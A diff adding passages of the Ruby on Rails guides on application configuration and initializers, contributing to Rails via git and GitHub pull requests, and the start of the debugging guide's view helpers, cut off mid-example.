+#### Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+ adapter: jdbcpostgresql
+ encoding: unicode
+ database: blog_development
+ username: blog
+ password:
+```
+
+Change the username and password in the `development` section as appropriate.
+
+### Creating Rails Environments
+
+By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
+
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server just by create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+
+
+Rails Environment Settings
+--------------------------
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+Using Initializer Files
+-----------------------
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+
+Initialization events
+---------------------
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+
+* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
+
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
+
+* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+
+To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
+
+```ruby
+module YourApp
+ class Application < Rails::Application
+ config.before_initialize do
+ # initialization code goes here
+ end
+ end
+end
+```
+
+Alternatively, you can also do it through the `config` method on the `Rails.application` object:
+
+```ruby
+Rails.application.config.before_initialize do
+ # initialization code goes here
+end
+```
+
+WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called.
+
+### `Rails::Railtie#initializer`
+
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:
+
+```ruby
+initializer "active_support.initialize_whiny_nils" do |app|
+ require 'active_support/whiny_nil' if app.config.whiny_nils
+end
+```
+
+The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
+
+Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.
+
+### Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
+
+* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+
+* `initialize_logger` Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+
+* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
+
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+
+* `bootstrap_hook` Runs all configured `before_initialize` blocks.
+
+* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
+
+ ```
+ Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id
+ ```
+
+ And:
+
+ ```
+ You have a nil object when you didn't expect it!
+ You might have expected an instance of Array.
+ The error occurred while evaluating nil.each
+ ```
+
+* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+
+* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
+
+* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+
+* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
+
+* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
+
+* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`.
+
+* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
+
+* `action_controller.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
+
+* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
+
+* `active_record.initialize_database` Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
+
+* `active_record.log_runtime` Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`.
+
+* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
+
+* `action_mailer.compile_config_methods` Initializes methods for the config settings specified so that they are quicker to access.
+
+* `set_load_path` This initializer runs before `bootstrap_hook`. Adds the `vendor`, `lib`, all directories of `app` and any paths specified by `config.load_paths` to `$LOAD_PATH`.
+
+* `set_autoload_paths` This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths` to `ActiveSupport::Dependencies.autoload_paths`.
+
+* `add_routing_paths` Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
+
+* `add_locales` Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths` Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+
+* `load_environment_config` Loads the `config/environments` file for the current environment.
+
+* `append_asset_paths` Finds asset paths for the application and all attached railties and keeps a track of the available directories in `config.static_asset_paths`.
+
+* `prepend_helpers_path` Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+
+* `load_config_initializers` Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+
+* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
+
+* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
+
+* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
+
+* `build_middleware_stack` Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
+
+* `eager_load!` If `config.eager_load` is true, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
+
+* `finisher_hook` Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+
+* `set_routes_reloader` Configures Action Dispatch to reload the routes file using `ActionDispatch::Callbacks.to_prepare`.
+
+* `disable_dependency_loading` Disables the automatic dependency loading if the `config.eager_load` is set to true.
+
+Database pooling
+----------------
+
+Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+
+```ruby
+development:
+ adapter: sqlite3
+ database: db/development.sqlite3
+ pool: 5
+ timeout: 5000
+```
+
+Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
+
+NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.

+Contributing to Ruby on Rails
+=============================
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to use GitHub to report issues.
+* How to clone master and run the test suite.
+* How to help resolve existing issues.
+* How to contribute to the Ruby on Rails documentation.
+* How to contribute to the Ruby on Rails code.
+
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+
+--------------------------------------------------------------------------------
+
+Reporting an Issue
+------------------
+
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+
+NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide you'll find out how to get edge Rails for testing.
+
+### Creating a Bug Report
+
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+
+At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix.
+
+Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with a [...]
+
+### Create a Self-Contained gist for Active Record Issues
+
+If you are filing a bug report for Active Record, please use
+[this template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb)
+if the bug is found in a published gem, and
+[this template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
+if the bug happens in the master branch.
+
+### Special Treatment for Security Issues
+
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
+
+### What about Feature Requests?
+
+Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+
+If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue fo [...]
+
+Setting Up a Development Environment
+------------------------------------
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+### The Hard Way
+
+In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
+
+
+Running an Application Against Your Local Branch
+------------------------------------------------
+
+The `--dev` flag of `rails new` generates an application that uses your local
+branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
+
+
+Testing Active Record
+---------------------
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test_sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test_mysql
+test_mysql2
+test_postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
+
+```bash
+$ git branch --track 3-0-stable origin/3-0-stable
+$ git checkout 3-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+Helping to Resolve Existing Issues
+----------------------------------
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+### Verifying Bug Reports
+
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+
+If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+### Testing Patches
+
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+
+```bash
+$ git checkout -b testing_branch
+```
+
+Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+
+```bash
+$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+```
+
+After applying their branch, test it out! Here are some things to think about:
+
+* Does the change actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
+
+Contributing to the Rails Documentation
+---------------------------------------
+
+Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides).
+
+If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+
+If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
+
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
+
+NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
+
+NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+
+WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
+
+Contributing to the Rails Code
+------------------------------
+
+### Clone the Rails Repository
+
+The first thing you need to do to be able to contribute code is to clone the repository:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+```
+
+and create a dedicated branch:
+
+```bash
+$ cd rails
+$ git checkout -b my_new_branch
+```
+
+It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Write Your Code
+
+Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right.
+* Use Rails idioms and helpers.
+* Include tests that fail without your code, and pass with it.
+* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties run the whole test suite of the affected component. If all is
+green that's enough to propose your contribution. We have [Travis CI](https
+://travis-ci.org/) as a safety net for catching unexpected breakages
+elsewhere.
+
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
+
+### Follow the Coding Conventions
+
+Rails follows a simple set of coding style conventions:
+
+* Two spaces, no tabs (for indentation).
+* No trailing whitespace. Blank lines should not have any spaces.
+* Indent after private/protected.
+* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
+* Prefer `&&`/`||` over `and`/`or`.
+* Prefer class << self over self.method for class methods.
+* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `a = b` and not `a=b`.
+* Use assert_not methods instead of refute.
+* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
+* Follow the conventions in the source you see used already.
+
+The above are guidelines — please use your best judgment in using them.
+
+### Updating the CHANGELOG
+
+The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
+
+You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+
+A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+
+```
+* Summary of a change that briefly describes what was changed. You can use multiple
+ lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+ class Foo
+ def bar
+ puts 'baz'
+ end
+ end
+
+ You can continue after the code example and you can attach issue number. GH#1234
+
+ *Your Name*
+```
+
+Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
+
+### Sanity Check
+
+You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+
+### Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to Git:
+
+```bash
+$ git commit -a
+```
+
+At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
+
+Good commit message should be formatted according to the following example:
+
+```
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to 72
+characters. Try to be as descriptive as you can, even if you think that
+the commit content is obvious, it may not be obvious to others. You
+should add such description also if it's already present in bug tracker,
+it should not be necessary to visit a webpage to check the history.
+
+Description can have multiple paragraphs and you can use code examples
+inside, just indent it with 4 spaces:
+
+ class PostsController
+ def index
+ respond_with Post.limit(10)
+ end
+ end
+
+You can also add bullet points:
+
+- you can use dashes or asterisks
+
+- also, try to indent next line of a point for readability, if it's too
+ long to fit in 72 characters
+```
+
+TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
+
+### Update Your Branch
+
+It’s pretty likely that other changes to master have happened while you were working. Go get them:
+
+```bash
+$ git checkout master
+$ git pull --rebase
+```
+
+Now reapply your patch on top of the latest changes:
+
+```bash
+$ git checkout my_new_branch
+$ git rebase master
+```
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+### Fork
+
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
+
+Add the new remote to your local repository on your local machine:
+
+```bash
+$ git remote add mine git at github.com:<your user name>/rails.git
+```
+
+Push to your remote:
+
+```bash
+$ git push mine my_new_branch
+```
+
+You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
+
+In the directory you cloned your fork:
+
+```bash
+$ git remote add rails git://github.com/rails/rails.git
+```
+
+Download new commits and branches from the official repository:
+
+```bash
+$ git fetch rails
+```
+
+Merge the new content:
+
+```bash
+$ git checkout master
+$ git rebase rails/master
+```
+
+Update your fork:
+
+```bash
+$ git push origin master
+```
+
+If you want to update another branch:
+
+```bash
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+```
+
+
+### Issue a Pull Request
+
+Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
+
+Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+
+Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
+
+Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+
+### Get some Feedback
+
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+
+### Iterate as Necessary
+
+It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
+
+#### Squashing commits
+
+One of the things that we may ask you to do is "squash your commits," which
+will combine all of your commits into a single commit. We prefer pull requests
+that are a single commit. This makes it easier to backport changes to stable
+branches, squashing makes it easier to revert bad commits, and the git history
+can be a bit easier to follow. Rails is a large project, and a bunch of
+extraneous commits can add a lot of noise.
+
+In order to do this, you'll need to have a git remote that points at the main
+Rails repository. This is useful anyway, but just in case you don't have it set
+up, make sure that you do this first:
+
+```bash
+$ git remote add upstream https://github.com/rails/rails.git
+```
+
+You can call this remote whatever you'd like, but if you don't use `upstream`,
+then change the name to your own in the instructions below.
+
+Given that your remote branch is called `my_pull_request`, then you can do the
+following:
+
+```bash
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase upstream/master
+$ git rebase -i
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+```
+
+You should be able to refresh the pull request on GitHub and see that it has
+been updated.
+
+### Backporting
+
+Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
+
+For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
+
+First make sure your changes are the only difference between your current branch and master:
+
+```bash
+$ git log master..HEAD
+```
+
+Then extract the diff:
+
+```bash
+$ git format-patch master --stdout > ~/my_changes.patch
+```
+
+Switch over to the target branch and apply your changes:
+
+```bash
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+```
+
+This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
+
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
+
+And then... think about your next contribution!

+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications.
+
+After reading this guide, you will know:
+
+* The purpose of debugging.
+* How to track down problems and issues in your application that your tests aren't identifying.
+* The different ways of debugging.
+* How to analyze the stack trace.
+
+--------------------------------------------------------------------------------
+
+View Helpers for Debugging
+--------------------------
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+### `debug`
+
+The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+```html+erb
+<%= debug @post %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+You'll see something like this:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+ updated_at: 2008-09-05 22:55:47
+ body: It's a very helpful guide for debugging your Rails app.
+ title: Rails debugging guide
+ published: t
+ id: "1"
+ created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+```
+
+### `to_yaml`
+
+Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
+
+```html+erb
+<%= simple_format @post.to_yaml %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
